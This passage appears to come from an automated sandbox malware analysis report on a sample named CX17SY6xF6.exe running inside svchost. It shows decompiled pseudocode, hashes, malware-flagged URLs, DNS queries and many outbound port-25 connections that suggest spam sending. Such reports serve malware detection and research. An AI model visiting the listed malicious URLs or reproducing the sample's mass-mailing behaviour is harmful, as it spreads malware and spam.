						_v124 = E04020CE0(_v12);
						 *_v140 = _v124;
						_push(_v12);
						E04006CA0(_t149, 0x42757e, 0x427564,  *_v140, _v16);
						_t210 = _t210 + 0x10;
						 *((intOrPtr*)(_v140 + 4)) = _v12;
						_v5 = 1;
					}
					if(_v16 != _a4 && _v16 != 0) {
						_v136 = _v16;
						E04020CC0(_v136);
						_t210 = _t210 + 4;
						_v16 = 0x666;
					}
					_t180 = 0;
					if(0 != 0) {
						continue;
					} else {
						L16:
						return E04006C8C(_v5, _t149, _v28 ^ _t209, _t180, 0x42757e, 0x427564);
					}
				}
				goto L16;
			}

0x0401f9f0
0x0401f9f0
0x0401fa00
0x0401fa05
0x0401fa0b
0x0401fa0f
0x0401fa23
0x0401fa29
0x0401fa30
0x0401fa43
0x0401fa45
0x0401fa47
0x0401fa48
0x0401fa5e
0x0401fa64
0x0401fa74
0x0401fa80
0x0401fabc
0x0401fad1
0x0401fae3
0x0401fae9
0x0401faef
0x0401faf8
0x0401fb03
0x0401fb0f
0x0401fb14
0x0401fb1d
0x0401fb24
0x0401fb29
0x0401fb30
0x0401fb35
0x0401fb38
0x0401fb38
0x0401fb24
0x0401fb48
0x0401fba7
0x0401fbad
0x0401fbb9
0x0401fbc7
0x0401fbd2
0x0401fbe4
0x0401fbe9
0x0401fbf5
0x0401fbff
0x0401fc06
0x0401fc0b
0x0401fc14
0x0401fc14
0x0401fc23
0x0401fc37
0x0401fc3a
0x0401fb4a
0x0401fb56
0x0401fb62
0x0401fb67
0x0401fb75
0x0401fb7a
0x0401fb86
0x0401fb89
0x0401fb89
0x0401fc44
0x0401fc4f
0x0401fc5c
0x0401fc61
0x0401fc64
0x0401fc64
0x0401fc6b
0x0401fc6d
0x00000000
0x0401fc73
0x0401fc73
0x0401fc85
0x0401fc85
0x0401fc6d
0x00000000

APIs

_memset.LIBCMT ref: 0401FA74
_strlen.LIBCMT ref: 0401FAC9

Strings

duB, xrefs: 0401FA3B

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: _memset_strlen
String ID: duB
API String ID: 2279092321-2047154145
Opcode ID: 8ef916ac99e2acd8d5d850c8b0a63cac94112d2d259028affcb04b3b3e16ebb3
Instruction ID: c505e5f8326b13ea594a17ca5410903a82e5ac8279d4bf993f0f99441c28ac3a
Opcode Fuzzy Hash: 8ef916ac99e2acd8d5d850c8b0a63cac94112d2d259028affcb04b3b3e16ebb3
Instruction Fuzzy Hash: 1F913BB5D00218AFDB54CFD8D880BAEB7B5BF48318F14C159E909A7341EB35AA85CF51

Uniqueness

Uniqueness Score: -1.00%

Function 0401C2A0 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 205
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E0401C2A0(void* __edi, signed int _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				signed char _v20;
				signed char _v21;
				char _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				signed int* _v40;
				intOrPtr* _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				intOrPtr _v64;
				intOrPtr _t103;
				intOrPtr _t109;
				void* _t115;
				void* _t177;
				void* _t178;
				void* _t181;

				_t177 = __edi;
				_v8 = 0;
				while((_a4 & 0x0000ffff) == 1 || (_a4 & 0x0000ffff) == 2 || (_a4 & 0x0000ffff) == 3 || (_a4 & 0x0000ffff) == 4) {
					if(_a8 == 0 || _a12 == 0) {
						break;
					} else {
						_v12 =  *0x4250e4(_a8);
						if(_v12 < 1 || _v12 > 0x64) {
							break;
						} else {
							_v20 = 1;
							if((_a4 & 0x0000ffff) == 4) {
								L16:
								_v21 = 0;
								_v44 = E04020CE0(0xa);
								_v16 = _v44;
								E04007010(_t177, _v16, 0, 0xa);
								 *((short*)(_v16 + 8)) = _a4;
								_t103 = E04020CE0(_v12 + 1);
								_t181 = _t178 + 0x14;
								_v48 = _t103;
								 *_v16 = _v48;
								E04005A10(_v16,  *_v16, _v12 + 1, _a8);
								if((_a4 & 0x0000ffff) != 4) {
									_t109 = E04020CE0(_v20 + 1);
									_t181 = _t181 + 4;
									_v52 = _t109;
									 *((intOrPtr*)(_v16 + 4)) = _v52;
									E04005A10( *((intOrPtr*)(_v16 + 4)),  *((intOrPtr*)(_v16 + 4)), _v20 + 1, _a12);
								} else {
									 *((intOrPtr*)(_v16 + 4)) =  *_a12;
								}
								_v28 = E0401E4B0();
								while(1) {
									_t115 = E0401E4A0(_v28);
									_t178 = _t181 + 4;
									if(_t115 == 0) {
										break;
									}
									_v40 = 0xfa6d3c;
									_v36 = 0x2710;
									_v32 = 0xf9d0e8;
									if((_a4 & 0x0000ffff) != 2) {
										if((_a4 & 0x0000ffff) != 3) {
											if((_a4 & 0x0000ffff) == 4) {
												_v40 = 0xfa6d44;
												_v36 = 0xf4240;
												_v32 = 0x7fbee8;
											}
										} else {
											_v40 = 0xfa6d48;
											_v36 = 0xf4240;
											_v32 = 0xbcc7e8;
										}
									} else {
										_v40 = 0xfa6d40;
										_v36 = 0xf4240;
										_v32 = 0x42b5e8;
									}
									if( *_v40 < _v36) {
										 *((intOrPtr*)(_v32 +  *_v40 * 4)) = _v16;
										_v8 =  *_v40;
										 *_v40 =  *_v40 + 1;
										_v21 = 1;
									}
									E0401E480( &_v28);
									_t181 = _t178 + 4;
								}
								if((_v21 & 0x000000ff) == 0) {
									if( *_v16 != 0) {
										_v56 =  *_v16;
										E04020CC0(_v56);
										_t178 = _t178 + 4;
										 *_v16 = 0x666;
									}
									if((_a4 & 0x0000ffff) != 4 &&  *((intOrPtr*)(_v16 + 4)) != 0) {
										_v60 =  *((intOrPtr*)(_v16 + 4));
										E04020CC0(_v60);
										_t178 = _t178 + 4;
										 *((intOrPtr*)(_v16 + 4)) = 0x666;
									}
									if(_v16 != 0) {
										_v64 = _v16;
										E04020CC0(_v64);
										_t178 = _t178 + 4;
										_v16 = 0x666;
									}
								}
								if(0 != 0) {
									continue;
								} else {
									break;
								}
							}
							_v20 =  *0x4250e4(_a12);
							if(_v20 < 1 || _v20 > 0x64) {
								break;
							} else {
								goto L16;
							}
						}
					}
				}
				return _v8;
			}

0x0401c2a0
0x0401c2a6
0x0401c2ad
0x0401c2da
0x00000000
0x0401c2e7
0x0401c2f1
0x0401c2f8
0x00000000
0x0401c305
0x0401c305
0x0401c313
0x0401c333
0x0401c333
0x0401c341
0x0401c347
0x0401c352
0x0401c361
0x0401c36c
0x0401c371
0x0401c374
0x0401c37d
0x0401c390
0x0401c39c
0x0401c3b2
0x0401c3b7
0x0401c3ba
0x0401c3c3
0x0401c3d8
0x0401c39e
0x0401c3a6
0x0401c3a6
0x0401c3e2
0x0401c3f3
0x0401c3f7
0x0401c3fc
0x0401c401
0x00000000
0x00000000
0x0401c407
0x0401c40e
0x0401c415
0x0401c423
0x0401c443
0x0401c463
0x0401c465
0x0401c46c
0x0401c473
0x0401c473
0x0401c445
0x0401c445
0x0401c44c
0x0401c453
0x0401c453
0x0401c425
0x0401c425
0x0401c42c
0x0401c433
0x0401c433
0x0401c482
0x0401c494
0x0401c49c
0x0401c4aa
0x0401c4ac
0x0401c4ac
0x0401c3eb
0x0401c3f0
0x0401c3f0
0x0401c4bb
0x0401c4c3
0x0401c4ca
0x0401c4d1
0x0401c4d6
0x0401c4dc
0x0401c4dc
0x0401c4e9
0x0401c4fa
0x0401c501
0x0401c506
0x0401c50c
0x0401c50c
0x0401c517
0x0401c51c
0x0401c523
0x0401c528
0x0401c52b
0x0401c52b
0x0401c517
0x0401c534
0x00000000
0x00000000
0x00000000
0x00000000
0x0401c534
0x0401c31f
0x0401c326
0x00000000
0x00000000
0x00000000
0x00000000
0x0401c326
0x0401c2f8
0x0401c2da
0x0401c540

APIs

_memset.LIBCMT ref: 0401C352

Strings

d, xrefs: 0401C328
d, xrefs: 0401C2FA

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: _memset
String ID: d$d
API String ID: 2102423945-195624457
Opcode ID: 9623b1273be0775a15697b469d724f7f2ac93ca0881c6a5774c0b2da6d5538b3
Instruction ID: 6121a1327febe31ce23874249aa6888692dbc835ca9b57b63cb1d65f5ac047f3
Opcode Fuzzy Hash: 9623b1273be0775a15697b469d724f7f2ac93ca0881c6a5774c0b2da6d5538b3
Instruction Fuzzy Hash: C79138B4E44218EBEB14DF94D484AEEB7B1FF49308F108559E816BB360D375EA81CB91

Uniqueness

Uniqueness Score: -1.00%

Function 040251F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 04025242
_strlen.LIBCMT ref: 04025276

Strings

@, xrefs: 04025220

Memory Dump Source

Source File: 00000005.00000002.862471983.0000000004000000.00000040.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000005.00000002.862471983.000000000408A000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_4000000_svchost.jbxd

Similarity

API ID: _memset_strlen
String ID: @
API String ID: 2279092321-2766056989
Opcode ID: 465e3f5f656527acc1b894b08e49c7e6ede76f44b8deec7e1eed15ce09421514
Instruction ID: 9095bb450417fa4dd51ea0b819b640531f396c38f351a606dd718691427917c8
Opcode Fuzzy Hash: 465e3f5f656527acc1b894b08e49c7e6ede76f44b8deec7e1eed15ce09421514
Instruction Fuzzy Hash: 5B1142B5E00208FFDB10DFE4DD45BEE77B4AB48314F508254E61477280E635BA458B65

Uniqueness

Uniqueness Score: -1.00%

Source: http://gpthink.com/product/204.html	Avira URL Cloud: Label: malware
Source: http://www.stajum.com/N	Avira URL Cloud: Label: malware
Source: http://www.credo.edu.pl/m	Avira URL Cloud: Label: malware
Source: http://www.credo.edu.pl/	Avira URL Cloud: Label: malware
Source: http://www.stajum.com/V	Avira URL Cloud: Label: malware
Source: https://www.aevga.com/	Avira URL Cloud: Label: malware
Source: http://www.valselit.com/177-appartement-a-vendre-sigean-30378	Avira URL Cloud: Label: malware
Source: http://www.credo.edu.pl/0	Avira URL Cloud: Label: malware

Source: CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a href="https://www.facebook.com/PohlFoodService" target="_blank"> equals www.facebook.com (Facebook)
Source: CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a href="https://www.linkedin.com/company/pohl-food-service" target="_blank"> equals www.linkedin.com (Linkedin)
Source: CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.628353439.00000000047C0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a class="elementor-icon elementor-social-icon elementor-social-icon-youtube elementor-repeater-item-6def677" href="https://www.youtube.com/channel/UCvpY2zO1GRvxBdgkg7BUm-A" target="_blank"> equals www.youtube.com (Youtube)
Source: CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a class="footicons" href="https://www.linkedin.com/company/elpro-lepenik/about/" target="_blank"><img id="LinkedIn" alt="LinkedIn" data-src="http://www.elpro.si/wp-content/themes/elpro/img/ICO-30-Linked-Grey.svg" class="lazyload" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" /><noscript><img id="LinkedIn" alt="LinkedIn" src="http://www.elpro.si/wp-content/themes/elpro/img/ICO-30-Linked-Grey.svg" /></noscript></a> equals www.linkedin.com (Linkedin)
Source: CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a class="footicons" href="https://www.facebook.com/elprolepenik/" target="_blank"><img id="Facebook" alt="Facebook" data-src="http://www.elpro.si/wp-content/themes/elpro/img/ICO-30-FB-Grey.svg" class="lazyload" src="data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" /><noscript><img id="Facebook" alt="Facebook" src="http://www.elpro.si/wp-content/themes/elpro/img/ICO-30-FB-Grey.svg" /></noscript></a> equals www.facebook.com (Facebook)
Source: CX17SY6xF6.exe, 00000000.00000003.695363892.0000000003560000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <meta property="article:publisher" content="https://www.facebook.com/PohlFoodService" /> equals www.facebook.com (Facebook)
Source: CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <meta property="article:publisher" content="https://www.facebook.com/elprolepenik/" /> equals www.facebook.com (Facebook)
Source: CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Elpro Lepenik proizvodnja temperaturnih tipal in merilno regulacijska tehnika","publisher":{"@id":"https://www.elpro.si/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.elpro.si/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"sl-SI"},{"@type":"Organization","@id":"https://www.elpro.si/#organization","name":"ELPRO","url":"https://www.elpro.si/","logo":{"@type":"ImageObject","inLanguage":"sl-SI","@id":"https://www.elpro.si/#/schema/logo/image/","url":"https://www.elpro.si/wp-content/uploads/2020/02/LOGO-Header.svg","contentUrl":"https://www.elpro.si/wp-content/uploads/2020/02/LOGO-Header.svg","width":1,"height":1,"caption":"ELPRO"},"image":{"@id":"https://www.elpro.si/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/elprolepenik/","https://www.linkedin.com/company/elpro-lepenik/about/"]}]}</script> equals www.facebook.com (Facebook)
Source: CX17SY6xF6.exe, 00000000.00000003.709726780.0000000004080000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.587660793.0000000003990000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: Elpro Lepenik proizvodnja temperaturnih tipal in merilno regulacijska tehnika","publisher":{"@id":"https://www.elpro.si/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https://www.elpro.si/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"sl-SI"},{"@type":"Organization","@id":"https://www.elpro.si/#organization","name":"ELPRO","url":"https://www.elpro.si/","logo":{"@type":"ImageObject","inLanguage":"sl-SI","@id":"https://www.elpro.si/#/schema/logo/image/","url":"https://www.elpro.si/wp-content/uploads/2020/02/LOGO-Header.svg","contentUrl":"https://www.elpro.si/wp-content/uploads/2020/02/LOGO-Header.svg","width":1,"height":1,"caption":"ELPRO"},"image":{"@id":"https://www.elpro.si/#/schema/logo/image/"},"sameAs":["https://www.facebook.com/elprolepenik/","https://www.linkedin.com/company/elpro-lepenik/about/"]}]}</script> equals www.linkedin.com (Linkedin)
Source: CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: <a class="elementor-icon elementor-social-icon elementor-social-icon-linkedin elementor-repeater-item-dd39117" href="https://www.linkedin.com/company/comsit-distribution-gmbh/" target="_blank"> equals www.linkedin.com (Linkedin)
Source: CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: var elementorFrontendConfig = {"environmentMode":{"edit":false,"wpPreview":false,"isScriptDebug":false},"i18n":{"shareOnFacebook":"Auf Facebook teilen","shareOnTwitter":"Auf Twitter teilen","pinIt":"Anheften","download":"Download","downloadImage":"Bild downloaden","fullscreen":"Vollbild","zoom":"Zoom","share":"Teilen","playVideo":"Video abspielen","previous":"Zur\u00fcck","next":"Weiter","close":"Schlie\u00dfen","a11yCarouselWrapperAriaLabel":"Carousel \| Horizontal scrolling: Arrow Left & Right","a11yCarouselPrevSlideMessage":"Previous slide","a11yCarouselNextSlideMessage":"Next slide","a11yCarouselFirstSlideMessage":"This is the first slide","a11yCarouselLastSlideMessage":"This is the last slide","a11yCarouselPaginationBulletMessage":"Go to slide"},"is_rtl":false,"breakpoints":{"xs":0,"sm":480,"md":768,"lg":1025,"xl":1440,"xxl":1600},"responsive":{"breakpoints":{"mobile":{"label":"Mobile Portrait","value":767,"default_value":767,"direction":"max","is_enabled":true},"mobile_extra":{"label":"Mobile Landscape","value":880,"default_value":880,"direction":"max","is_enabled":false},"tablet":{"label":"Tablet Portrait","value":1024,"default_value":1024,"direction":"max","is_enabled":true},"tablet_extra":{"label":"Tablet Landscape","value":1200,"default_value":1200,"direction":"max","is_enabled":false},"laptop":{"label":"Laptop","value":1366,"default_value":1366,"direction":"max","is_enabled":false},"widescreen":{"label":"Breitbild","value":2400,"default_value":2400,"direction":"min","is_enabled":false}}},"version":"3.14.1","is_static":false,"experimentalFeatures":{"e_dom_optimization":true,"e_optimized_assets_loading":true,"e_optimized_css_loading":true,"a11y_improvements":true,"additional_custom_breakpoints":true,"e_swiper_latest":true,"theme_builder_v2":true,"hello-theme-header-footer":true,"landing-pages":true,"page-transitions":true,"notes":true,"loop":true,"form-submissions":true,"e_scroll_snap":true},"urls":{"assets":"http:\/\/www.com-sit.com\/wp-content\/plugins\/elementor\/assets\/"},"swiperClass":"swiper","settings":{"page":[],"editorPreferences":[]},"kit":{"active_breakpoints":["viewport_mobile","viewport_tablet"],"global_image_lightbox":"yes","lightbox_enable_counter":"yes","lightbox_enable_fullscreen":"yes","lightbox_enable_zoom":"yes","lightbox_enable_share":"yes","lightbox_title_src":"title","lightbox_description_src":"description","hello_header_logo_type":"title","hello_header_menu_layout":"horizontal","hello_footer_logo_type":"logo"},"post":{"id":46,"title":"Comsit%20Website","excerpt":"","featuredImage":false}}; equals www.facebook.com (Facebook)
Source: CX17SY6xF6.exe, 00000000.00000003.632675037.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.751280038.0000000004B00000.00000004.00001000.00020000.00000000.sdmp, CX17SY6xF6.exe, 00000000.00000003.641204104.0000000003D00000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: var elementorFrontendConfig = {"environmentMode":{"edit":false,"wpPreview":false,"isScriptDebug":false},"i18n":{"shareOnFacebook":"Auf Facebook teilen","shareOnTwitter":"Auf Twitter teilen","pinIt":"Anheften","download":"Download","downloadImage":"Bild downloaden","fullscreen":"Vollbild","zoom":"Zoom","share":"Teilen","playVideo":"Video abspielen","previous":"Zur\u00fcck","next":"Weiter","close":"Schlie\u00dfen","a11yCarouselWrapperAriaLabel":"Carousel \| Horizontal scrolling: Arrow Left & Right","a11yCarouselPrevSlideMessage":"Previous slide","a11yCarouselNextSlideMessage":"Next slide","a11yCarouselFirstSlideMessage":"This is the first slide","a11yCarouselLastSlideMessage":"This is the last slide","a11yCarouselPaginationBulletMessage":"Go to slide"},"is_rtl":false,"breakpoints":{"xs":0,"sm":480,"md":768,"lg":1025,"xl":1440,"xxl":1600},"responsive":{"breakpoints":{"mobile":{"label":"Mobile Portrait","value":767,"default_value":767,"direction":"max","is_enabled":true},"mobile_extra":{"label":"Mobile Landscape","value":880,"default_value":880,"direction":"max","is_enabled":false},"tablet":{"label":"Tablet Portrait","value":1024,"default_value":1024,"direction":"max","is_enabled":true},"tablet_extra":{"label":"Tablet Landscape","value":1200,"default_value":1200,"direction":"max","is_enabled":false},"laptop":{"label":"Laptop","value":1366,"default_value":1366,"direction":"max","is_enabled":false},"widescreen":{"label":"Breitbild","value":2400,"default_value":2400,"direction":"min","is_enabled":false}}},"version":"3.14.1","is_static":false,"experimentalFeatures":{"e_dom_optimization":true,"e_optimized_assets_loading":true,"e_optimized_css_loading":true,"a11y_improvements":true,"additional_custom_breakpoints":true,"e_swiper_latest":true,"theme_builder_v2":true,"hello-theme-header-footer":true,"landing-pages":true,"page-transitions":true,"notes":true,"loop":true,"form-submissions":true,"e_scroll_snap":true},"urls":{"assets":"http:\/\/www.com-sit.com\/wp-content\/plugins\/elementor\/assets\/"},"swiperClass":"swiper","settings":{"page":[],"editorPreferences":[]},"kit":{"active_breakpoints":["viewport_mobile","viewport_tablet"],"global_image_lightbox":"yes","lightbox_enable_counter":"yes","lightbox_enable_fullscreen":"yes","lightbox_enable_zoom":"yes","lightbox_enable_share":"yes","lightbox_title_src":"title","lightbox_description_src":"description","hello_header_logo_type":"title","hello_header_menu_layout":"horizontal","hello_footer_logo_type":"logo"},"post":{"id":46,"title":"Comsit%20Website","excerpt":"","featuredImage":false}}; equals www.twitter.com (Twitter)

Source: unknown	DNS traffic detected: query: ascc.org.au replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: atis-sk.ca replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: www.speelhal.net replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: invictus.pl replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: webband.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: www.udesign.biz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: amele.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: mail7.digitalwaves.co.nz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: amba-tc.si replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: canmore.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: www.jroy.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: eos-i.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: awfraser.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: iranytu.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: www.owsports.ca replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: arowines.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: avc.com.sa replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: zupraha.cz replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: anteph.org replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: agitz.com.br replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: chzko.ru replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: polprime.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: www.yumgiskor.kz replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cjcagent.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: pcoyuncu.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: ktenergo.ru replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: toundo.net replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: cpwpb.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: actmin.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: someikan.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: clysma.com replaycode: Server failure (2)
Source: unknown	DNS traffic detected: query: workplus.hu replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: grlawcc.com replaycode: Name error (3)
Source: unknown	DNS traffic detected: query: haigh-me.com replaycode: Name error (3)

Source: global traffic	TCP traffic: 192.168.2.4:56253 -> 219.94.128.87:25
Source: global traffic	TCP traffic: 192.168.2.4:49803 -> 66.226.70.66:25
Source: global traffic	TCP traffic: 192.168.2.4:50007 -> 66.163.170.48:25
Source: global traffic	TCP traffic: 192.168.2.4:50051 -> 87.248.97.36:25
Source: global traffic	TCP traffic: 192.168.2.4:50062 -> 34.193.69.252:25
Source: global traffic	TCP traffic: 192.168.2.4:50063 -> 107.180.58.31:25
Source: global traffic	TCP traffic: 192.168.2.4:50064 -> 15.197.142.173:25
Source: global traffic	TCP traffic: 192.168.2.4:50065 -> 31.15.12.103:25
Source: global traffic	TCP traffic: 192.168.2.4:50066 -> 104.21.30.14:25
Source: global traffic	TCP traffic: 192.168.2.4:50067 -> 199.59.243.220:25
Source: global traffic	TCP traffic: 192.168.2.4:50068 -> 188.114.97.7:25
Source: global traffic	TCP traffic: 192.168.2.4:50069 -> 23.239.201.14:25
Source: global traffic	TCP traffic: 192.168.2.4:50070 -> 213.186.33.16:25
Source: global traffic	TCP traffic: 192.168.2.4:50071 -> 133.125.38.187:25
Source: global traffic	TCP traffic: 192.168.2.4:50073 -> 208.91.197.46:25
Source: global traffic	TCP traffic: 192.168.2.4:50075 -> 136.243.147.81:25
Source: global traffic	TCP traffic: 192.168.2.4:50086 -> 217.69.139.150:25
Source: global traffic	TCP traffic: 192.168.2.4:50090 -> 203.137.75.45:25
Source: global traffic	TCP traffic: 192.168.2.4:50091 -> 142.250.157.27:25
Source: global traffic	TCP traffic: 192.168.2.4:50092 -> 79.96.32.254:25
Source: global traffic	TCP traffic: 192.168.2.4:50093 -> 37.59.243.164:25
Source: global traffic	TCP traffic: 192.168.2.4:50098 -> 91.220.211.163:25
Source: global traffic	TCP traffic: 192.168.2.4:50104 -> 65.52.128.33:25
Source: global traffic	TCP traffic: 192.168.2.4:50105 -> 94.100.180.31:25
Source: global traffic	TCP traffic: 192.168.2.4:50109 -> 153.126.211.112:25
Source: global traffic	TCP traffic: 192.168.2.4:50119 -> 88.86.118.82:25
Source: global traffic	TCP traffic: 192.168.2.4:50120 -> 205.178.189.131:25
Source: global traffic	TCP traffic: 192.168.2.4:50121 -> 94.130.164.242:25
Source: global traffic	TCP traffic: 192.168.2.4:50122 -> 5.39.75.157:25
Source: global traffic	TCP traffic: 192.168.2.4:50125 -> 13.248.169.48:25
Source: global traffic	TCP traffic: 192.168.2.4:50127 -> 102.134.49.77:25
Source: global traffic	TCP traffic: 192.168.2.4:50134 -> 108.170.12.50:25
Source: global traffic	TCP traffic: 192.168.2.4:50135 -> 27.0.174.59:25
Source: global traffic	TCP traffic: 192.168.2.4:50137 -> 198.209.253.30:25
Source: global traffic	TCP traffic: 192.168.2.4:50139 -> 142.250.27.26:25
Source: global traffic	TCP traffic: 192.168.2.4:50140 -> 103.168.172.216:25
Source: global traffic	TCP traffic: 192.168.2.4:50142 -> 203.0.113.0:25
Source: global traffic	TCP traffic: 192.168.2.4:50161 -> 104.21.235.31:25
Source: global traffic	TCP traffic: 192.168.2.4:50162 -> 103.168.172.220:25
Source: global traffic	TCP traffic: 192.168.2.4:50165 -> 46.4.56.54:25
Source: global traffic	TCP traffic: 192.168.2.4:50216 -> 198.1.81.28:25
Source: global traffic	TCP traffic: 192.168.2.4:50228 -> 211.13.196.162:25
Source: global traffic	TCP traffic: 192.168.2.4:50241 -> 153.120.34.73:25
Source: global traffic	TCP traffic: 192.168.2.4:50628 -> 46.30.60.158:25
Source: global traffic	TCP traffic: 192.168.2.4:50824 -> 188.114.96.7:25
Source: global traffic	TCP traffic: 192.168.2.4:51094 -> 63.251.106.25:25
Source: global traffic	TCP traffic: 192.168.2.4:51102 -> 86.105.245.69:25
Source: global traffic	TCP traffic: 192.168.2.4:51247 -> 159.89.244.183:25
Source: global traffic	TCP traffic: 192.168.2.4:51925 -> 151.101.2.132:25
Source: global traffic	TCP traffic: 192.168.2.4:52062 -> 216.69.141.67:25
Source: global traffic	TCP traffic: 192.168.2.4:55639 -> 195.96.252.188:25
Source: global traffic	TCP traffic: 192.168.2.4:55640 -> 104.20.55.214:25
Source: global traffic	TCP traffic: 192.168.2.4:55641 -> 165.160.15.20:25
Source: global traffic	TCP traffic: 192.168.2.4:55642 -> 104.21.29.72:25
Source: global traffic	TCP traffic: 192.168.2.4:56123 -> 221.132.33.88:25
Source: global traffic	TCP traffic: 192.168.2.4:56229 -> 164.92.82.47:25
